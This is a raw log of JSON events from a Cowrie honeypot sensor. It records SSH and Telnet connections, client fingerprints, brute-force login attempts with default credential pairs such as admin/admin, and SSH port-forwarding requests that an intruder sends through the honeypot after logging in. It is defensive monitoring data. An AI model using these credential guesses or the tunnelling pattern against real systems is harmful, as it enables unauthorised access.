{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:06.318583Z","src_ip":"45.140.193.156","session":"ba818c9d2292","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"free","message":"login attempt [root/free] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:06.820898Z","src_ip":"45.140.193.156","session":"ba818c9d2292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:07.951746Z","src_ip":"45.140.193.156","session":"ba818c9d2292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":49496,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad2279003b2b","protocol":"telnet","message":"New connection: 94.23.66.112:49496 (10.17.0.5:23) [session: ad2279003b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:35.469732Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":35214,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ce9d1c41230","protocol":"ssh","message":"New connection: 103.122.221.179:35214 (159.203.135.109:22) [session: 4ce9d1c41230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:36.613257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:36.616393Z","src_ip":"103.122.221.179","session":"4ce9d1c41230","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:36.886769Z","src_ip":"103.122.221.179","session":"4ce9d1c41230","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11031993","message":"login attempt [root/11031993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:37.701767Z","src_ip":"103.122.221.179","session":"4ce9d1c41230","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:38.976845Z","src_ip":"103.122.221.179","session":"4ce9d1c41230","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":56740,"dst_ip":"10.17.0.5","dst_port":22,"session":"123e347c71b2","protocol":"ssh","message":"New connection: 117.121.214.50:56740 (10.17.0.5:22) [session: 123e347c71b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:40.443423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:40.447638Z","src_ip":"117.121.214.50","session":"123e347c71b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:40.686149Z","src_ip":"117.121.214.50","session":"123e347c71b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"free","message":"login attempt [root/free] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:41.675057Z","src_ip":"117.121.214.50","session":"123e347c71b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:42.917148Z","src_ip":"117.121.214.50","session":"123e347c71b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.244.95.82","src_port":59874,"dst_ip":"159.203.135.109","dst_port":23,"session":"af85e7820a31","protocol":"telnet","message":"New connection: 80.244.95.82:59874 (159.203.135.109:23) [session: af85e7820a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:55.868290Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":38542,"dst_ip":"159.203.135.109","dst_port":22,"session":"726099d0c4ff","protocol":"ssh","message":"New connection: 45.148.10.121:38542 (159.203.135.109:22) [session: 726099d0c4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:10.411720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:10.415731Z","src_ip":"45.148.10.121","session":"726099d0c4ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:11.256705Z","src_ip":"45.148.10.121","session":"726099d0c4ff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:13.614211Z","src_ip":"45.148.10.121","session":"726099d0c4ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:14.071600Z","session":"726099d0c4ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:14.690819Z","src_ip":"45.148.10.121","session":"726099d0c4ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:14.693821Z","src_ip":"45.148.10.121","session":"726099d0c4ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:15.462945Z","src_ip":"45.148.10.121","session":"726099d0c4ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":32994,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ce15bb74bf6","protocol":"ssh","message":"New connection: 45.148.10.121:32994 (159.203.135.109:22) [session: 1ce15bb74bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:15.735496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:15.739356Z","src_ip":"45.148.10.121","session":"1ce15bb74bf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:16.344900Z","src_ip":"45.148.10.121","session":"1ce15bb74bf6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:18.012250Z","src_ip":"45.148.10.121","session":"1ce15bb74bf6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:18.555581Z","session":"1ce15bb74bf6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:19.052130Z","src_ip":"45.148.10.121","session":"1ce15bb74bf6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:19.055006Z","src_ip":"45.148.10.121","session":"1ce15bb74bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:19.578854Z","src_ip":"45.148.10.121","session":"1ce15bb74bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.86917734146118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:26.737269Z","src_ip":"80.244.95.82","session":"af85e7820a31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":34466,"dst_ip":"10.17.0.5","dst_port":22,"session":"fda4299b1724","protocol":"ssh","message":"New connection: 27.71.230.31:34466 (10.17.0.5:22) [session: fda4299b1724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:27.462297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:27.491796Z","src_ip":"27.71.230.31","session":"fda4299b1724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:28.862875Z","src_ip":"27.71.230.31","session":"fda4299b1724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2018","message":"login attempt [root/Admin2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:30.750901Z","src_ip":"27.71.230.31","session":"fda4299b1724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:32.033551Z","src_ip":"27.71.230.31","session":"fda4299b1724","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":60621,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f3486a303fe","protocol":"ssh","message":"New connection: 112.216.108.62:60621 (159.203.135.109:22) [session: 8f3486a303fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:33.537546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:33.542045Z","src_ip":"112.216.108.62","session":"8f3486a303fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:33.737504Z","src_ip":"112.216.108.62","session":"8f3486a303fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sajjad","password":"123456","message":"login attempt [sajjad/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:34.554101Z","src_ip":"112.216.108.62","session":"8f3486a303fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:35.805228Z","src_ip":"112.216.108.62","session":"8f3486a303fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.212","src_port":59746,"dst_ip":"10.17.0.5","dst_port":22,"session":"625208500e27","protocol":"ssh","message":"New connection: 62.182.85.212:59746 (10.17.0.5:22) [session: 625208500e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:37.011613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:37.015595Z","src_ip":"62.182.85.212","session":"625208500e27","protocol":"ssh"}
